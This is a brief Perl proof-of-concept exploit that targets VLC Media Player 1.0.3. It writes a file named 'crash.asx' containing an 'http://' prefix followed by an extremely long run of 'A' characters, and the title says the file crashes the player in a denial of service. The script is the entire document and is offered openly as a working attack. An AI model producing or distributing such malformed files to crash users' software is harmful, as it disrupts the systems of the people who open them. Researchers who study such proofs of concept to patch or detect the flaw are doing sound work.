VideoLAN VLC Media Player 1.0.3 - '.asx' Denial of Service (PoC)

#!/user/bin/perl
# Author: [D3V!L FUCKER]
# Tested on: [windows vista sp0]
# Code :
my $file= "crash.asx";

my $boom= "http://"."AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x 500000;

open($FILE,">>$file");

print $FILE "$boom";

close($FILE);

print "Done..!~#\n";